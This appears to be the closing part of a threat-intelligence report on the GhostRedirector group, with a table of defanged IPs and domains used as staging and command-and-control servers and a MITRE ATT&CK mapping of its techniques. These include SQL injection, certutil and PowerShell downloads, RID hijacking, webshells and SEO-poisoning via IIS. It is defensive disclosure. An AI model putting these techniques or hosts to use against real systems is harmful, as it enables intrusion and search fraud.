104.233.210[.]229 | q.822th[.]com www.881vn[.]com | PEG TECH INC | 2023-10-06 | GhostRedirector staging server. |
N/A | gobr.868id[.]com | N/A | 2024-08-25 | Gamshen C&C server, hosted on Cloudflare. |
N/A | brproxy.868id[.]com | N/A | 2024-08-25 | Gamshen C&C server, hosted on Cloudflare. |
43.228.126[.]4 | www.cs01[.]shop | XIMBO Internet Limited | 2024-04-01 | Comdai C&C server. |
103.251.112[.]11 | N/A | IRT-HK-ANS | N/A | GhostRedirector staging server. |
MITRE ATT&CK teknikleri
Bu tablo, MITRE ATT&CK çerçevesinin 17. sürümü kullanılarak oluşturulmuştur.
Tactic | ID | Name | Description |
Resource Development | T1588.002 | Obtain Capabilities: Tool | GhostRedirector uses .NET Reactor to obfuscate its tools, and used EfsPotato and BadPotato to develop custom privilege escalation tools. |
T1587.001 | Develop Capabilities: Malware | GhostRedirector develops its own malware | |
T1608.006 | Stage Capabilities: SEO Poisoning | GhostRedirector uses SEO poisoning to manipulate search results and drive traffic to a third-party website. | |
T1583.001 | Acquire Infrastructure: Domains | GhostRedirector uses malicious domains for hosting payloads and for its C&C servers. | |
T1583.004 | Acquire Infrastructure: Server | GhostRedirector leverages Cloudflare on its infrastructure. | |
T1608.001 | Stage Capabilities: Upload Malware | GhostRedirector has staged Rungan and Gamshen on attacker-controlled servers. | |
T1608.002 | Stage Capabilities: Upload Tool | GhostRedirector has staged various malicious and legitimate tools on attacker-controlled servers. | |
T1588.003 | Obtain Capabilities: Code Signing Certificates | GhostRedirector obtained a certificate for signing its tools, like those for privilege escalation. | |
Initial Access | T1190 | Exploit Public-Facing Application | GhostRedirector exploits an unknown SQL injection vulnerability on the victim’s server. |
Execution | T1106 | Native API | GhostRedirector may use APIs such as HttpInitialize and HttpAddUrl for registering a URL. |
T1059.001 | Command and Scripting Interpreter: PowerShell | GhostRedirector uses PowerShell interpreter to download malware. | |
T1059.003 | Command and Scripting Interpreter: Windows Command Shell | GhostRedirector can execute cmd.exe commands to download malware. | |
T1559 | Inter-Process Communication | Comdai can create a pipe to communicate and receive information from another process. | |
Persistence | T1546 | Event Triggered Execution | Gamshen is loaded by the IIS Worker Process (w3wp.exe) when the IIS server receives an inbound HTTP request. |
Privilege Escalation | T1134 | Access Token Manipulation | GhostRedirector can manipulate tokens to perform a local privilege escalation. |
T1112 | Modify Registry | GhostRedirector can modify a Windows registry key to perform RID hijacking. | |
Defense Evasion | T1027 | Obfuscated Files or Information | GhostRedirector obfuscates its local privilege escalation tools using .NET Reactor. |
T1027.009 | Obfuscated Files or Information: Embedded Payloads | GhostRedirector embedded webshells into its payloads like Zunput to be dropped on compromised server. | |
T1140 | Deobfuscate/Decode Files or Information | GhostRedirector uses AES in CBC mode to decrypt strings in the backdoor Rungan. | |
Discovery | T1083 | File and Directory Discovery | GhostRedirector can use Zunput to list directory content on a victim’s server. |
Command and Control | T1105 | Ingress Tool Transfer | GhostRedirector can abuse the tool certutil.exe to download malware. |
T1219 | Remote Access Software | GhostRedirector may use the GoToHTTP tool for connecting remotely to victims. | |
T1071.001 | Application Layer Protocol: Web Protocols | GhostRedirector relies on HTTP to communicate with the backdoor Rungan. | |
T1008 | Fallback Channels | GhostRedirector can deploy the tool GoToHTTP or create malicious users on the compromised server to maintain access. | |
Impact | T1565 | Data Manipulation | GhostRedirector can modify the response of a compromised server intended for the Google crawler, in attempts to influence search results order. |